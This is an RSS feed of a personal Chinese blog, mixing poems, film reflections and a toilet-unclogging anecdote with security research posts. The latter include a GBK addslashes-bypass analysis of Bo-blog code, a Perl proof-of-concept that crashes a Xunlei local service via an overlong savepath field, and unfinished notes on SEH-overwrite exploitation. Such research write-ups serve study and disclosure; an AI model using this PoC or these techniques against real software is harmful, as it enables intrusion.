<?xml version="1.0" encoding="utf-8" ?>
<!-- generator="FEEDCREATOR_VERSION" -->
<rss version="2.0" xmlns:sns="http://blog.sina.com.cn/sns">
    <channel>
        <title>那一年,花开的正烂</title>
        <description></description>
        <link>http://blog.sina.com.cn/g33k</link>
        <lastBuildDate>Fri, 01 Jan 2010 06:26:11 GMT+8</lastBuildDate>
        <generator>FEEDCREATOR_VERSION</generator>
        <language>zh-cn</language>
        <copyright>Copyright 1996 - 2009 SINA Inc. All Rights Reserved.</copyright>
        <pubDate>Thu, 31 Dec 2009 22:26:11 GMT+8</pubDate>
        <item>
            <title>真正的感动是什么?</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd0100ej42.html</link>
            <description><![CDATA[<p>&nbsp;
看的一些电影,也会看到鼻子酸的时候,觉得这只是导演高明的催情手段,根据剧本凭空捏造出来的一种效果,一种虚假的情感.<br />
&nbsp; 试问自己,那真正的感动是什么?看完Dead Poets
Society(死亡诗社),也许找到了一个较为满意的答案:真实,赤裸裸的真实,难以回避的真实.<br />
<br />
&nbsp;
人固有一死,也许那之前你腰缠万贯,也许穷困潦倒,也许有滋有味,也许是孤苦伶仃,但对于那个结局,停止呼吸的时候,那些还有区别吗?那些不属于你的东西,永远不属于你,only
you!<br />
&nbsp; 思想,才是你的真实,灵魂的写照,永远不会腐朽.<br />
&nbsp; 解读生活的意义,解读你自己.<br />
<br />
&nbsp; 所以,最真实的感动,就是得到灵魂的共鸣.<br />
<br />
　"我步入丛林"<br />
　"因为我希望生活得有意义"<br />
　"我希望活得深刻"<br />
　"吸取生命中所有的精华"<br />
　"把非生命的一切都击溃"<br />
　"以免当我生命终结时"<br />
　"发现自己从来没有活过"</P>]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd0100ej42.html#comment</comments>
            <pubDate>Mon, 01 Jun 2009 02:23:43 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd0100ej42.html</guid>
        </item>
        <item>
            <title>Dota : )</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd0100chzm.html</link>
            <description><![CDATA[<p>没想到年底居然还参加了阿里的安全峰会,从某些方面来说,感觉超越了xcon,xfungfoo,期待明年: )</P>
<p><a TARGET="_blank" HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static7.photo.sina.com.cn/orignal/4c9ddabdt5e8d734019e6&amp;000">
<img SRC="http://static7.photo.sina.com.cn/middle/4c9ddabdt5e8d734019e6&amp;000" /></A></P>
<p>有爱的dota,有爱的打法.</P>
<p><a TARGET="_blank" HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static7.photo.sina.com.cn/orignal/4c9ddabdt5e8d58826e86&amp;000">
<img SRC="http://static7.photo.sina.com.cn/middle/4c9ddabdt5e8d58826e86&amp;000" /></A><a TARGET="_blank" HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static4.photo.sina.com.cn/orignal/4c9ddabdt5e8d5863c393&amp;000"><img SRC="http://static4.photo.sina.com.cn/middle/4c9ddabdt5e8d5863c393&amp;000" /></A><a TARGET="_blank" HREF="http://blog.photo.sina.com.cn/showpic.html#url=http://static13.photo.sina.com.cn/orignal/4c9ddabdt5e8d5845204c&amp;000"><img SRC="http://static13.photo.sina.com.cn/middle/4c9ddabdt5e8d5845204c&amp;000" /></A></P>]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd0100chzm.html#comment</comments>
            <pubDate>Sun, 21 Dec 2008 12:02:41 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd0100chzm.html</guid>
        </item>
        <item>
            <title>冯至--《十四行·26》</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd0100arbu.html</link>
            <description><![CDATA[<p>我们天天走着一条熟路</P>
<p>回到我们居住的地方；</P>
<p>但是在这林里面还隐藏</P>
<p>许多小路，又深邃，又生疏。</P>
<p>走一条生的，便有些心慌，</P>
<p>怕越走越远，走入迷途，</P>
<p>但不知不觉从村疏处</P>
<p>忽然望见我们住的地方</P>
<p>象座新的岛屿呈在天边。</P>
<p>我们的身边有多少事物</P>
<p>向我们要求新的发现：</P>
<p>不要觉得一切都已熟悉，</P>
<p>到死时抚摸自己的发肤</P>
<p>生了疑问：这是谁的身体?</P>]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd0100arbu.html#comment</comments>
            <pubDate>Sun, 20 Jul 2008 15:27:40 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd0100arbu.html</guid>
        </item>
        <item>
            <title>[ZZ]冰冻的心 &amp;&amp; Fresh meat</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd0100al0k.html</link>
            <description><![CDATA[<p>严冬，<br />
让空气变得寒冷，<br />
寒冰，<br />
将山峰也都冷冻，<br />
眼睛，<br />
在空虚中空洞，<br />
瞳孔，<br />
在寂寞中结晶。</P>
<p>曾经，<br />
也会喜欢安静，<br />
庆幸，<br />
那难得的安宁，<br />
无名，<br />
也许只是美梦，<br />
使命，<br />
却将一切洗净，<br />
真情，<br />
在无奈中牺牲。</P>
<p>众生，<br />
看我似幽灵，<br />
狰狞，<br />
是我的本性，<br />
问卿，<br />
谁能够看清，<br />
其实，<br />
我只想平庸。</P>
<p>冷风，<br />
撕开心灵的裂缝，<br />
眼泪，<br />
好像潮水般汹涌，<br />
生命，<br />
在无尽伤痛中凋零，<br />
魂灵，<br />
在无名空虚中变轻。</P>
<p>裂缝，<br />
撕破水晶的永恒，<br />
流星，<br />
划过寒冷的夜空。<br />
冥冥，<br />
也许一切都是命，<br />
注定，<br />
已经不想再去争。</P>
<p>真情，<br />
谁能懂，<br />
心声，<br />
谁聆听，<br />
纵横，<br />
是暖冷，<br />
声泪动，<br />
心好疼。</P>
<p>----------------------------------------------------------</P>
<p>身体是支离破碎的拼凑，<br />
几乎是拙劣而丑陋的结合。<br />
下垂的左手拖着弯曲的肉钩，<br />
右手的屠刀带着鲜红的血色，<br />
眼球的激突几乎爆裂，<br />
肚皮的腐烂像被刀割。<br />
行动中带着点儿小儿麻痹的笨拙，<br />
这笨拙中却隐藏着致命的灵活。</P>
<p>没有人知道他曾受过怎样的折磨，<br />
满身的伤痕似乎说明了什么……<br />
他的外表显得如此奇特，<br />
奇特中带着一股邪恶，<br />
身体如同一堆腐肉的堆积，<br />
没人知道他是死了，还是活着，<br />
只有苍蝇在四周乱舞，<br />
嗡嗡声中传递着死亡的威慑。</P>
<p>但显然的，<br />
他的心已死了，<br />
如同行尸走肉般活着，<br />
或许只是为了灵魂的解脱。</P>
<p>他游走于费尔伍德<br />
每一个阴暗的角落，<br />
激突的独眼灵活的转着，<br />
当手中的肉钩呼啸而去，<br />
天空中便又有一颗流星坠落。<br />
带着腐臭的牙齿将敌人撕扯，<br />
尸体的碎片已经七零八落，<br />
他似乎在享受着，<br />
因为每每此时总会喊声：<br />
“Fresh meat！”</P>
<p>他的险恶已臭名昭著，<br />
所有人都称他为屠夫，<br />
而他似乎并不在乎。<br />
或许是因为他的血已流尽，<br />
或许是因为他的泪已干涸，<br />
谁知道呢？<br />
生命的过程就是如此奇特，<br />
痛苦中寻找着近乎变态的快乐，<br />
即使这快乐中有生命的代价，<br />
即使这快乐中有可怕的血色。</P>
<p>无所谓，<br />
算什么……<br />
仍敢大声说：<br />
“Fresh meat！”<br />
让世人都震惊，<br />
让大地都沉默，<br />
只是为了证明：<br />
我还活着，<br />
还活着……</P>]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd0100al0k.html#comment</comments>
            <pubDate>Sun, 06 Jul 2008 10:00:31 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd0100al0k.html</guid>
        </item>
        <item>
            <title>双剑合并</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd0100a6zr.html</link>
            <description><![CDATA[<p><font STYLE="FONT-SIZE: 14px; FONT-FAMILY: 宋体">今天看一个php程序，发现有些地方很搞</FONT></P>
<p><a HREF="mailto:FengGou@Exploit"><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">FengGou@Exploit</FONT></A>
<font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">~/LAMP/www/htdocs/Bo-blog/bo-blog/admin<br/>

$ grep -in "safe_convert" *.*<br/>
cp_category.php:260:&nbsp;&nbsp;&nbsp;
$newcatename=addslashes(safe_convert(stripslashes($newcatename)));<br/>

cp_category.php:262:&nbsp;&nbsp;&nbsp;
$newcateurlname=safe_convert(stripslashes($newcateurlname));<br/>
cp_category.php:274:&nbsp;&nbsp;&nbsp;
$newcatedesc=addslashes(safe_convert(stripslashes($newcatedesc),
1));</FONT></P>
<p><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">...</FONT></P>
<p>源码:</P>
<p><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial" SIZE="2">$newcatedesc=addslashes(safe_convert(stripslashes($newcatedesc),
1));<br/>
&nbsp;$newcatedesc=str_replace('&lt;|&gt;',
'&lt;|&gt;', $newcatedesc);<br/>
&nbsp;<br/>
&nbsp;if ($job=='new') {<br/>
&nbsp;&nbsp;$new_cate_id=$maxrecord['maxcateid']+1;<br/>

&nbsp;&nbsp;$targetcate=floor($targetcate);<br/>

...<br/>
&nbsp;&nbsp;&nbsp;if
(trim($tmpresult['cateorder'])!='') {<br/>
&nbsp;&nbsp;&nbsp;&nbsp;$insertcateorder=$tmpresult['cateorder'];<br/>

&nbsp;&nbsp;&nbsp;&nbsp;$result=$blog-&gt;query("UPDATE
`{$db_prefix}categories` SET `cateorder`=`cateorder`+1 WHERE
`cateorder`&gt;={$insertcateorder}");<br/>
&nbsp;&nbsp;&nbsp;}<br/>
&nbsp;&nbsp;} else
$insertcateorder=$new_cate_id;<br/>
&nbsp;&nbsp;$result=$blog-&gt;query("INSERT
INTO `{$db_prefix}categories` VALUES ('{$new_cate_id}',
'{$newcatename}', '{$newcatedesc}', '{$newcateproperty}',
'{$insertcateorder}', '{$newcatemode}', '{$newcateicon}',
'{$newcateurl}', '{$newcateurlname}', '', '')");<br/>
&nbsp;&nbsp;$result=$blog-&gt;query("UPDATE
`{$db_prefix}maxrec` SET `maxcateid`='{$new_cate_id}'");</FONT></P>
<p>&nbsp;</P>
<p><font STYLE="FONT-SIZE: 14px; FONT-FAMILY: 宋体" SIZE="2">safe_convert是这样定义的</FONT></P>
<p><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">function
safe_convert($string, $html=0, $filterslash=0) { //Words
Filter<br/>
&nbsp;if ($html==0) {<br/>
&nbsp;&nbsp;$string=htmlspecialchars($string,
ENT_QUOTES);<br/>
&nbsp;&nbsp;$string=str_replace("&lt;","&lt;",$string);<br/>

&nbsp;&nbsp;$string=str_replace("&gt;","&gt;",$string);<br/>

&nbsp;&nbsp;if ($filterslash==1)
$string=str_replace("\\", '\', $string);<br/>
&nbsp;} else {<br/>
&nbsp;&nbsp;$string=addslashes($string);<br/>

&nbsp;&nbsp;if ($filterslash==1)
$string=str_replace("</FONT><a><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">\\\\</FONT></A><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">", '\', $string);<br/>
&nbsp;}<br/>
&nbsp;$string=str_replace("\r","<br/>
",$string);<br/>
&nbsp;$string=str_replace("\n","",$string);<br/>
&nbsp;$string=str_replace("\t","&nbsp;&nbsp;",$string);<br/>

&nbsp;$string=str_replace("&nbsp;
","&nbsp;&nbsp;",$string);<br/>
&nbsp;$string=str_replace('|', '|', $string);<br/>
&nbsp;$string=str_replace("`","`",$string);<br/>
&nbsp;$string=str_replace("\","\",$string);<br/>
&nbsp;$string=str_replace("[","[",$string);<br/>
&nbsp;$string=str_replace("]","]",$string);<br/>
&nbsp;return $string;<br/>
}</FONT></P>
<p><font STYLE="FONT-FAMILY: Arial"><font STYLE="FONT-SIZE: 12px"><font STYLE="FONT-FAMILY: Arial"><font STYLE="FONT-SIZE: 12px"><font STYLE="FONT-FAMILY: 宋体"><font STYLE="FONT-SIZE: 14px">开始疑惑为什么要二次<font SIZE="2">addslashes转义，<font STYLE="FONT-SIZE: 14px">后来恍然大悟</FONT>，<font STYLE="FONT-SIZE: 14px">这个是针对GBK双字节字符绕过</FONT>addslashes<font STYLE="FONT-SIZE: 14px">一种聪明的处理方法</FONT>，<font STYLE="FONT-SIZE: 14px">0xbb27变成0xbb5c27，绕过了addslashes</FONT>，<font STYLE="FONT-SIZE: 14px">但是紧接着又一次，可怜的0x27又变成了0x5c27最终变成0xbb5c5c27</FONT>，<font STYLE="FONT-SIZE: 14px">囧</FONT>。</FONT></FONT></FONT></FONT></FONT></FONT></FONT></P>
<p><font SIZE="2"><font STYLE="FONT-FAMILY: Arial"><font STYLE="FONT-SIZE: 12px"><font STYLE="FONT-FAMILY: Arial"><font STYLE="FONT-SIZE: 12px"><font STYLE="FONT-FAMILY: 宋体"><font STYLE="FONT-SIZE: 14px">想玩玩搭积木游戏，发现并没有想象中的简单，因为0x27前永远会有一个0x5c，天杀的反斜杠。但是<font SIZE="2"><font STYLE="FONT-SIZE: 14px">addslashes</FONT>与</FONT><font STYLE="FONT-SIZE: 12px" SIZE="3"><font STYLE="FONT-SIZE: 14px">safe_convert</FONT><font STYLE="FONT-SIZE: 14px">函数的二次打击并不是无懈可击，</FONT><font STYLE="FONT-SIZE: 14px">首先在看下定义，有个if，为了分明xss转义与sqlinj攻击，但是，他把过程用了一个条件给分开了</FONT></FONT></FONT></FONT></FONT></FONT></FONT></FONT></FONT></P>
<p><font STYLE="FONT-SIZE: 12px; FONT-FAMILY: Arial">&nbsp;if
($html==0) {<br/>
&nbsp;&nbsp;$string=htmlspecialchars($string,
ENT_QUOTES);<br/>
&nbsp;&nbsp;$string=str_replace("&lt;","&lt;",$string);<br/>

&nbsp;&nbsp;$string=str_replace("&gt;","&gt;",$string);<br/>

&nbsp;&nbsp;if ($filterslash==1)
$string=str_replace("\\", '\', $string);<br/>
&nbsp;} else {<br/>
&nbsp;&nbsp;$string=addslashes($string);</FONT></P>
<p><font FACE="Arial">不敢直接断言找到了漏洞，但是起码这是一种可以绕过的方面，利用程序本身，或许，还有更棒的：）</FONT></P>]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd0100a6zr.html#comment</comments>
            <pubDate>Mon, 02 Jun 2008 09:50:43 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd0100a6zr.html</guid>
        </item>
        <item>
            <title>Oh shit!</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01009xd9.html</link>
            <description><![CDATA[<p>终于知道为什么老外崩溃的时候要骂“Oh
shit!”了，因为他们家的下水道经常堵吧？</P>
<p>
今天肚子不爽的时候发现厕所堵了，我没处理过这样的安全突发事件，顿时蒙了。赶紧上网百度知道，搜出的几个答案，我想问，你们是搞笑呢还是搞笑呢？无奈先分析了下水道的结构，先堵住浴室的另个下水口，然后自己拿着揣子一顿猛捅，TMD揣子头还掉里面了，“浑水摸鱼”给它从口里弄出来，幸亏家里有两个揣子，换装备继续。大战了三百回合，终于给它通了，不过我现在已经食欲全无，头昏脑胀，肚子里五内澎湃<img SRC="http://blogimg.sinajs.cn/images/control/face/015.gif" /><img SRC="http://blogimg.sinajs.cn/images/control/face/022.gif" /></P>
<p>&nbsp;</P>
<p>
搜出的一些独家秘籍，注意加粗的，绝对内部资料...</P>
<ul>
<li>
用揣子猛揣几下,还有超市卖的一种"管道通"挺管用的,也就10元左右
,半个月用一次,就不会堵了 (可行)</LI>
<li><font COLOR="#FF0000">你到鱼市买些泥鳅鱼，活的，倒进马桶里，等一会儿就好了，独家秘方，一般人我不告诉他!
(娱乐,可尝试)</FONT></LI>
<li>
用一个比较长的，不硬但也不是很软的，软通气管插进去，边往里通边用水冲，水不要冲劲太大，以免外溅，直到冲通，然后冲水我试过效果很好。(可尝试)</LI>
<li>
先准备个气筒在上面缠上破布然后再倒些水进去开始打气一会就OK了(可尝试)</LI>
<li>
可以买瓶草酸，晚上睡觉前倒入厕所内，泡一晚上，一般的话，第二天早上效果就十分明显了。(可尝试)</LI>
<li><font COLOR="#FF0000">把手和手臂包好掏就行了(逗,你不怕脏,可以尝试...)</FONT></LI>
<li>
用布地拖湿水,将厕所灌满水,上下抽动(约等效揣子,可尝试)</LI>
<li>
买瓶大可乐回来先把饮料喝完再把可乐瓶口下方剪掉剪掉后把它倒着放在马桶里用手拿住底部往上抽几下就好啦我这也是有一次家里半夜厕所堵了没办法想起来的</LI>
<li>
你可找一段软管一头连好自来水另一头包好抹布插到下水管道里。打开自来水就可以了。原理是；自来水的压力大概有4Mpa
是完全可以冲开你家的下水道的。记得不要让软管两头漏水，以保持压力最高呀</LI>
<li><font COLOR="#FF0000">准备炒黄豆半斤，冰水一升,先把黄豆吃下去，再把冰水喝下去，静坐一个小时然后坐到马桶上，一定要把马桶边缘坐的很严实不漏气等着开始放屁屁一旦开始放了就会象机关枪一样放个不停，考屁的冲力把马桶给冲开(纯娱乐)</FONT></LI>
<li><font COLOR="#FF0000">首先买一款防水手机来电调成震动，找一根比较牢的线然后把手机拴在线的一端，扔进马桶，手持另一端最后用另一手机或固定电话拨打马桶里的手机(纯娱乐)</FONT></LI>
</UL>]]></description>
            <author>Sneak</author>
            <category>我的乱糟生活</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01009xd9.html#comment</comments>
            <pubDate>Sat, 10 May 2008 10:30:00 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01009xd9.html</guid>
        </item>
        <item>
            <title>迅雷本地溢出POC</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01009vwp.html</link>
            <description><![CDATA[<p><font STYLE="FONT-FAMILY: Arial">以前一直在传迅雷还有0day，Activex的应该差不多了，但是也不敢怠慢，还是卸载之，今天丰初发来一URL，原来素一迅雷0day，看说明还是远程！感觉装了一个，看那个漏洞监听的端口<br/>
</FONT><font STYLE="FONT-FAMILY: Arial">C:\&gt;netstat
-na|find "36897"<br/>
&nbsp;TCP&nbsp;&nbsp;&nbsp;
127.0.0.1:36897&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0.0.0.0:0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
LISTENING</FONT></P>
<p><font STYLE="FONT-FAMILY: Arial">绑定的本地IP啊？！那就说明这个是不可以远程的，只能本地了。<br/>

......<br/>
<strong>23132CBE&nbsp;&nbsp;&nbsp;
68
B4C61323&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
2313C6B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
; ASCII "savepath"</STRONG><br/>
23132CC3&nbsp;&nbsp;&nbsp;
57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
edi<br/>
23132CC4&nbsp;&nbsp;&nbsp;
FFD6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
call&nbsp;&nbsp;&nbsp;
esi<br/>
23132CC6&nbsp;&nbsp;&nbsp;
59&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp;&nbsp;
ecx<br/>
23132CC7&nbsp;&nbsp;&nbsp;
84C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
test&nbsp;&nbsp;&nbsp; al,
al</FONT></P>
<p><font FACE="Arial">......</FONT></P>
<p><font FACE="Arial">23132CEF&nbsp;&nbsp;&nbsp;
85FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
test&nbsp;&nbsp;&nbsp; edi,
edi<br/>
23132CF1&nbsp;&nbsp;&nbsp; 74
02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
je&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
short 23132CF5<br/>
23132CF3&nbsp;&nbsp;&nbsp;
8BCF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mov&nbsp;&nbsp;&nbsp;&nbsp;
ecx, edi<br/>
<strong>23132CF5&nbsp;&nbsp;&nbsp;
B8
D4C61323&nbsp;&nbsp;&nbsp;&nbsp;
mov&nbsp;&nbsp;&nbsp;&nbsp;
eax,
2313C6D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
; ASCII "XLDAP"</STRONG><br/>
23132CFA&nbsp;&nbsp;&nbsp;
50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
eax<br/>
23132CFB&nbsp;&nbsp;&nbsp;
52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
edx<br/>
23132CFC&nbsp;&nbsp;&nbsp;
51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
ecx<br/>
23132CFD&nbsp;&nbsp;&nbsp;
50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
eax<br/>
23132CFE&nbsp;&nbsp;&nbsp; 8D85
5CFEFFFF&nbsp;&nbsp;
lea&nbsp;&nbsp;&nbsp;&nbsp;
eax, dword ptr [ebp-1A4]<br/>
<strong>23132D04&nbsp;&nbsp;&nbsp;
68
C0C61323&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
2313C6C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
; ASCII "%s|%s|%s|%s"</STRONG><br/>
......</FONT></P>
<p></P>
<p></P>
<p><a href="http://blog.photo.sina.com.cn/showpic.html#url=http://static8.photo.sina.com.cn/orignal/4c9ddabd44c8b561ac087" TARGET="_blank"></A></P>
<p><a href="http://blog.photo.sina.com.cn/showpic.html#url=http://static4.photo.sina.com.cn/orignal/4c9ddabd44c8b5b4600f3" TARGET="_blank"></A></P>
<p><font STYLE="FONT-FAMILY: Arial">根据上面可以分析出来这个端口接受数据的格式是XLDAP|A|B|XLDAP，A是方法，B是值。又偷懒看了下介绍，问题出在savepath方法上，那么构造数据就很简单了，POC如下：</FONT></P>
<p></P>
<table STYLE="WIDTH: 80%; HEIGHT: 364px" CELLSPACING="1" CELLPADDING="1" BORDER="1">
<tbody>
<tr>
<td>
<p><font STYLE="FONT-FAMILY: Arial">&nbsp;#!/usr/bin/perl<br/>
use IO::Socket;</FONT></P>
<p><font STYLE="FONT-FAMILY: Arial">if ($socket =
IO::Socket::INET-&gt;new(PeerAddr =&gt;
"127.0.0.1",PeerPort =&gt; "36897",Proto
=&gt; "TCP"))<br/>
{<br/>
$exploit&nbsp; = "XLDAP|savepath|".<br/>
#&nbsp;&nbsp;&nbsp; ("A" x
397).<br/>
&nbsp;&nbsp;&nbsp;&nbsp;
("A" x 500).<br/>
&nbsp;&nbsp;&nbsp;&nbsp;
"|XLDAP";</FONT></P>
<p><font STYLE="FONT-FAMILY: Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print $socket $exploit;<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sleep(1);<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
close($socket);<br/>
}<br/>
else<br/>
{<br/>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
print "Cannot connect to localhost:36897 port\n";<br/>
}</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>
<p></P>
<p><font STYLE="FONT-FAMILY: Arial">如果用python写exp的话你会很郁闷，因为py总是会给偶多出一个换行，就算使用[:-1]这种方法也没用，郁闷，目前不清楚是传递的过程还是print的时候，谁知道是什么原因？<br/>
</FONT><font STYLE="FONT-FAMILY: Arial">23132D09&nbsp;&nbsp;&nbsp;
50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
push&nbsp;&nbsp;&nbsp;
eax<br/>
<strong>23132D0A&nbsp;&nbsp;&nbsp;
FF15 54E51323&nbsp;&nbsp;
call&nbsp;&nbsp;&nbsp; dword
ptr
[&lt;&amp;MSVCRT.sprintf&gt;]&nbsp;&nbsp;&nbsp;;
crash</STRONG><br/>
23132D10&nbsp;&nbsp;&nbsp; 8D85
5CFEFFFF&nbsp;&nbsp;
lea&nbsp;&nbsp;&nbsp;&nbsp;
eax, dword ptr [ebp-1A4]<br/></FONT><font STYLE="FONT-FAMILY: Arial">就是在执行这步sprintf函数复制的时候导致crash。</FONT></P>]]></description>
            <author>Sneak</author>
            <category>网络安全相关</category>
            <comments>http://blog.sina.com.cn/s/blog_4c9ddabd01009vwp.html#comment</comments>
            <pubDate>Tue, 06 May 2008 07:58:22 GMT+8</pubDate>
            <guid>http://blog.sina.com.cn/s/blog_4c9ddabd01009vwp.html</guid>
        </item>
        <item>
            <title>覆盖异常处理[未完成]</title>
            <link>http://blog.sina.com.cn/s/blog_4c9ddabd01009hzx.html</link>
            <description><![CDATA[<p ALIGN="center"><strong>2008.3.31 早</STRONG></P>
<p>&nbsp;
今天一早就得到maple-x的技术帮助，总算弄清一些原因了，还有jmp
esp我感觉应该是和shellcode有关！总之非常感谢maple-x<img SRC="http://blogimg.sinajs.cn/images/control/face/001.gif" /></P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 99.71%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 20px" ALIGN="center">
<tbody>
<tr>
<td>
<p><font FACE="宋体">在2000系统里，覆盖异常处理点的思路是JMP 04
| JMP EBX |
SHELLCODE，因为EBX，在进入异常的时候，永远都指向异常处理的结构。所以在异常处理函数的入口覆盖成JMP
EBX就可以了。然后经过JMP 04 跳过JMP
EBX指令，来到SHELLCODE得地方。</FONT></P>
<p><font FACE="宋体">但在XP和2003的系统里，EBX已经不指向异常处理结构了。但ESP+8是指向我异常处理结构。然后在原来JMP
EBX的地方。改写成POP/POP/RET的地址。也是执行POP(ESP+4),POP(ESP+4),RET(EIP=ESP),
这样的方法达到EIP指向JMP 04的地址。</FONT></P>
</TD>
</TR>
</TBODY>
</TABLE>
<p>&nbsp;
但是我不知道是巧合还是怎么的，看看这个POP POP
RET的地址...总之又一次陷入崩溃<img SRC="http://blogimg.sinajs.cn/images/control/face/014.gif" /></P>
<table STYLE="BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; FONT-SIZE: 12px; BORDER-LEFT: #999 1px solid; WIDTH: 99.32%; BORDER-BOTTOM: #999 1px solid; HEIGHT: 20px" ALIGN="center">
<tbody>
<tr>
<td><font FACE="宋体">7ffa1571
58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp;&nbsp;
eax<br/>
7ffa1572
bf58c058c2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
mov&nbsp;&nbsp;&nbsp;&nbsp;
edi,0C258C058h<br/>
7ffa1577
58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pop&nbsp;&nbsp;&nbsp;&nbsp;
eax<br/>
7ffa1578
